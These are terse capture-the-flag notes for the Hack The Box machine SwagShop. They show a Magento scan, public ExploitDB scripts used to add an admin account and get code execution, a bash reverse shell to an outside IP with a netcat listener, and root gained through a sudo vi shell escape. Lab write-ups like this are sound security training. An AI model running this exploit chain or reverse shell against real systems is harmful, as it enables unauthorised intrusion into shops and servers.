https://initinfosec.com/writeups/htb/2020/02/01/swagshop-htb-writeup/

MAGENTO EXPLOIT (SQL INJECT)

MAGENTO EXPLOIT (AUTHED RCE)

MAGESCAN

SUDO VI TO PRIVESC

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)

| ssh-hostkey:

| 2048 b6:55:2b:d2:4e:8f:a3:81:72:61:37:9a:12:f6:24:ec (RSA)

| 256 2e:30:00:7a:92:f0:89:30:59:c1:77:56:ad:51:c0:ba (ECDSA)

|_ 256 4c:50:d5:f2:70:c5:fd:c4:b2:f0:bc:42:20:32:64:34 (ED25519)

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|_http-server-header: Apache/2.4.18 (Ubuntu)

|_http-title: Did not follow redirect to http://10.10.10.140/

Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

MAGESCAN

https://github.com/steverobbins/magescan/releases

root@akg:/home/akg/Desktop/tools# php magescan.phar scan:all http://10.10.10.140

Parameter | Value |

+-----------+-----------------+

| Edition | Community |

| Version | 1.9.0.0, 1.9.0.1 |

+-----------+-----------------+

Installed Modules

No detectable modules were found

Catalog Information

Type	Count
Categories	Unknown
Products	Unknown

Patches

Name	Status
SUPEE-5344	Unknown
SUPEE-5994	Unknown
SUPEE-6285	Unknown
SUPEE-6482	Unknown
SUPEE-6788	Unknown
SUPEE-7405	Unknown
SUPEE-8788	Unknown

Sitemap

Sitemap is not declared in robots.txt

Sitemap is not accessible: http://10.10.10.140/sitemap.xml

Server Technology

Key	Value
Server	Apache/2.4.18 (Ubuntu)

Unreachable Path Check

Path	Response Code	Status
.bzr/	404	Pass
.cvs/	404	Pass
.git/	404	Pass
.git/config	404	Pass
.git/refs/	404	Pass
.gitignore	404	Pass
.hg/	404	Pass
.idea	404	Pass
.svn/	404	Pass
.svn/entries	404	Pass

| admin/ | 404 | Pass |

| admin123/ | 404 | Pass |

| adminer.php | 404 | Pass |

| administrator/ | 404 | Pass |

| adminpanel/ | 404 | Pass |

| aittmp/index.php | 404 | Pass |

| app/etc/enterprise.xml | 404 | Pass |

| app/etc/local.xml | 200 | Fail |

| backend/ | 404 | Pass |

| backoffice/ | 404 | Pass |

| beheer/ | 404 | Pass |

| capistrano/config/deploy.rb | 404 | Pass |

| chive | 404 | Pass |

| composer.json | 404 | Pass |

| composer.lock | 404 | Pass |

| vendor/composer/installed.json | 404 | Pass |

| config/deploy.rb | 404 | Pass |

| control/ | 404 | Pass |

| dev/tests/functional/etc/config.xml | 404 | Pass |

| downloader/index.php | 404 | Pass |

| index.php/rss/order/NEW/new | 200 | Fail |

| info.php | 404 | Pass |

| mageaudit.php | 404 | Pass |

| magmi/ | 404 | Pass |

| magmi/conf/magmi.ini | 404 | Pass |

| magmi/web/magmi.php | 404 | Pass |

| Makefile | 404 | Pass |

| manage/ | 404 | Pass |

| management/ | 404 | Pass |

| manager/ | 404 | Pass |

| modman | 404 | Pass |

| p.php | 404 | Pass |

| panel/ | 404 | Pass |

| phpinfo.php | 404 | Pass |

| phpmyadmin | 404 | Pass |

| README.md | 404 | Pass |

| README.txt | 404 | Pass |

| shell/ | 200 | Fail |

| shopadmin/ | 404 | Pass |

| site_admin/ | 404 | Pass |

| var/export/ | 404 | Pass |

| var/export/export_all_products.csv | 404 | Pass |

| var/export/export_customers.csv | 404 | Pass |

| var/export/export_product_stocks.csv | 404 | Pass |

| var/log/ | 404 | Pass |

| var/log/exception.log | 404 | Pass |

| var/log/payment_authnetcim.log | 404 | Pass |

| var/log/payment_authorizenet.log | 404 | Pass |

| var/log/payment_authorizenet_directpost.log | 404 | Pass |

| var/log/payment_cybersource_soap.log | 404 | Pass |

| var/log/payment_ogone.log | 404 | Pass |

| var/log/payment_payflow_advanced.log | 404 | Pass |

| var/log/payment_payflow_link.log | 404 | Pass |

| var/log/payment_paypal_billing_agreement.log | 404 | Pass |

| var/log/payment_paypal_direct.log | 404 | Pass |

| var/log/payment_paypal_express.log | 404 | Pass |

| var/log/payment_paypal_standard.log | 404 | Pass |

| var/log/payment_paypaluk_express.log | 404 | Pass |

| var/log/payment_pbridge.log | 404 | Pass |

| var/log/payment_verisign.log | 404 | Pass |

| var/log/system.log | 404 | Pass |

| var/report/

root@akg:/home/akg/Desktop/hackthebox/swagshop# searchsploit magento

Magento eCommerce - Remote Code Execution | exploits/xml/webapps/37977.py

root@akg:/home/akg/Desktop/hackthebox/swagshop# cp /usr/share/exploitdb/exploits/xml/webapps/37977.py .

root@akg:/home/akg/Desktop/hackthebox/swagshop# mv 37977.py exploit.py

change target to: 10.10.10.140/index.php

root@akg:/home/akg/Desktop/hackthebox/swagshop# python exploit.py

WORKED

Check http://10.10.10.140/index.php/admin with creds forme:forme

root@kali:/home/kali/Desktop/hackthebox/swagshop# searchsploit magento 1.9.0.1

Magento CE < 1.9.0.1 - (Authenticated) Remote Code Execution | exploits/php/webapps/37811.py

root@akg:/home/akg/Desktop/hackthebox/swagshop# cp /usr/share/exploitdb/exploits/php/webapps/37811.py .

root@akg:/home/akg/Desktop/hackthebox/swagshop# mv 37811.py exploit2.py

http://10.10.10.140/app/etc/local.xml

<date>Wed, 08 May 2019 07:23:09 +0000</date>

https://initinfosec.com/writeups/htb/2020/02/01/swagshop-htb-writeup/

http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet

root@akg:/home/akg/Desktop/hackthebox/swagshop# python exploit2.py http://10.10.10.140/index.php/admin "bash -c 'bash -i >& /dev/tcp/10.10.14.33/9001 0>&1'"

root@akg:/home/akg/Desktop/tools# nc -nlvp 9001

SHELL GAINED!!!!!!

www-data@swagshop:/home/haris$ sudo -l

Matching Defaults entries for www-data on swagshop:

env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on swagshop:

(root) NOPASSWD: /usr/bin/vi /var/www/html/*

www-data@swagshop:/home/haris$ sudo /usr/bin/vi /var/www/html/test

:!/bin/bash

ROOTED!!!!